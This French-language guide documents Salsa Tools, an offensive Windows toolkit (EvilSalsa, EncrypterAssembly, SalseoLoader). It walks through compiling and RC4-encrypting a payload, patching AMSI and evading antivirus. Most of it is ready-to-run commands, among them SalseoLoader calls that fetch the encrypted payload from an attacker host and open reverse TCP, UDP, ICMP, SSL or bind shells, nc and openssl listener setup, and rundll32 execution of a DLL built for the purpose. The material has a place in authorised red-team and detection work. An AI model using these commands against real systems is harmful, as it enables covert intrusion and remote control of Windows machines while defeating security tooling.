
Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY et contournement d'AV, AMSI patché
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Tools est un ensemble de trois outils différents qui, combinés, vous permettent d'obtenir un reverse shell surpuissant dans n'importe quel environnement Windows sans même avoir besoin de PowerShell pour son exécution. Afin d'éviter les dernières techniques de détection (AMSI), la plupart des composants ont été initialement écrits en C#. Salsa Tools a été publiquement publié par Luis Vacas lors de sa conférence « Inmersión en la explotación tiene rima » qui s'est déroulée lors de h-c0n le 9 février 2019.
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* Sûr contre les AV (17 février)
* Correcteurs AMSI
* Exécution PowerShell
* ...
Salsa-Tools est composé de trois ingrédients différents : - EvilSalsa - EncrypterAssembly - SalseoLoader Et son comportement est le suivant :
___ __ __ ____ _
/ _] | || || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] C'est notre charge utile
EvilSalsa est l'ingrédient clé de cette recette. Il contient la charge utile, qui est exécutée sur le système comme suit : dès que la charge utile démarre, elle exécute System.Management.Automation.dll qui crée un runspace. Dans ce runspace, nous avons quatre types de shells (TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY). Une fois EvilSalsa chargé, première chose, l'existence de c:\windows\system32\amsi.dll est vérifiée. Si elle existe, elle est patchée à l'aide d'une variante maison des bypass de CyberArk et Rastamouse.
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] Logiciel qui chiffre la charge utile en utilisant RC4
[+] Nous avons la version en python et la version en .exe
EncrypterAssembly peut être utilisé comme un script Python ou comme un binaire Exe. Il chiffre le EvilSalsa précédemment généré.
Utilisation en Python :
python encrypterassembly.py <FILE> <PASSWORD> <OUTPUT>
Utilisation de l'exécutable :
Encrypterassembly.exe <FILE> <PASSWORD> <OUTPUT>
SalseoLoader est chargé de charger la charge utile chiffrée. Il peut être compilé à la fois comme une bibliothèque ou comme un exécutable. S'il est exécuté en tant qu'exécutable, les arguments choisis doivent être fournis lors de l'exécution. S'il est compilé en tant que bibliothèque, le descripteur 'main' doit être exporté. Les arguments sont ajoutés à l'aide de variables d'environnement.
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
By: CyberVaca@HackPlayers
[+] Utilisation :
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe password \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe password http://webserver.com/silent.txt silenttrinity URL_C2C
[+] Charges utiles disponibles :
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
Téléchargez le code source depuis GitHub et compilez EvilSalsa et SalseoLoader. Vous aurez besoin de Visual Studio installé pour compiler le code.
Compilez ces projets pour l'architecture de la machine Windows où vous allez les utiliser (si Windows supporte x64, compilez-les pour cette architecture).
Vous pouvez sélectionner l'architecture dans Visual Studio sous l'onglet 'Build' à gauche, dans 'Platform Target'.
(Si vous ne trouvez pas ces options, appuyez sur 'Project Tab' puis sur ' Properties')

Ensuite, compilez les deux projets (Build -> Build Solution) (Dans les logs, le chemin de l'exécutable apparaîtra) :

Tout d'abord, vous aurez besoin d'encoder la EvilSalsa.dll. Pour ce faire, vous pouvez utiliser le script Python encrypterassembly.py ou compiler le projet EncrypterAssembly
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt
Ok, maintenant vous avez tout ce dont vous avez besoin pour exécuter tout le truc Salseo : la EvilDalsa.dll encodée et le binaire de SalseoLoader. Téléchargez le binaire SalseoLoader.exe sur la machine. Il ne devrait pas être détecté par un antivirus...
N'oubliez pas de démarrer un nc comme écouteur de reverse shell, et un serveur HTTP pour servir l'evilsalsa encodé.
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
N'oubliez pas de démarrer un nc comme écouteur de reverse shell, et un serveur SMB pour servir l'evilsalsa encodé (impacket-smbserver).
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
Configurez l'écouteur sur la machine attaquante :
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -port <port> -tls1
Exécutez la backdoor :
SalseoLoader.exe password C:/path/to/evilsalsa.dll.txt ReverseSSL <Attacker-IP> <Port>
Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le reverse shell. Téléchargement : [https://github.com/inquisb/icmpsh]
Désactiver les réponses ICMP :
# Une fois terminé, vous pouvez la réactiver en exécutant :
sysctl -w net.ipv4.icmp_echo_ignore_all=0
Exécutez le client :
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
Sur la victime, exécutons le truc salseo :
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
Ouvrez le projet SalseoLoader avec Visual Studio.
Avant la fonction main, ajoutez cette ligne : [DllExport]

Tools --> NuGet Package Manager --> Manage NuGet Packages for Solution...

Recherchez le package DllExport (en utilisant l'onglet Browse), et appuyez sur Install (et acceptez la fenêtre contextuelle)

Dans votre dossier de projet, les fichiers sont apparus : DllExport.bat et DllExport_Configure.bat
Appuyez sur Uninstall (ouais, c'est bizarre mais faites-moi confiance, c'est nécessaire)

Quittez simplement Visual Studio
Ensuite, allez dans votre dossier SalseoLoader et exécutez DllExport_Configure.bat Sélectionnez x64 (si vous allez l'utiliser sur une machine x64, c'était mon cas), sélectionnez System.Runtime.InteropServices (dans Namespace for DllExport) et appuyez sur Apply

[DllExport] ne devrait plus être marqué comme erreur

Sélectionnez Output Type = Class Library (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)

Sélectionnez plateforme x64 (Project --> SalseoLoader Properties --> Build --> Platform target = x64)

Pour compiler la solution : Build --> Build Solution (Dans la console de sortie, le chemin de la nouvelle DLL apparaîtra)
Copiez et collez la DLL là où vous voulez la tester.
Exécutez :
rundll32.exe SalseoLoader.dll,main
Si aucune erreur n'apparaît, vous avez probablement une DLL fonctionnelle !!
N'oubliez pas d'utiliser un serveur HTTP et de configurer un écouteur nc
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
Documented by https://github.com/carlospolop-forks/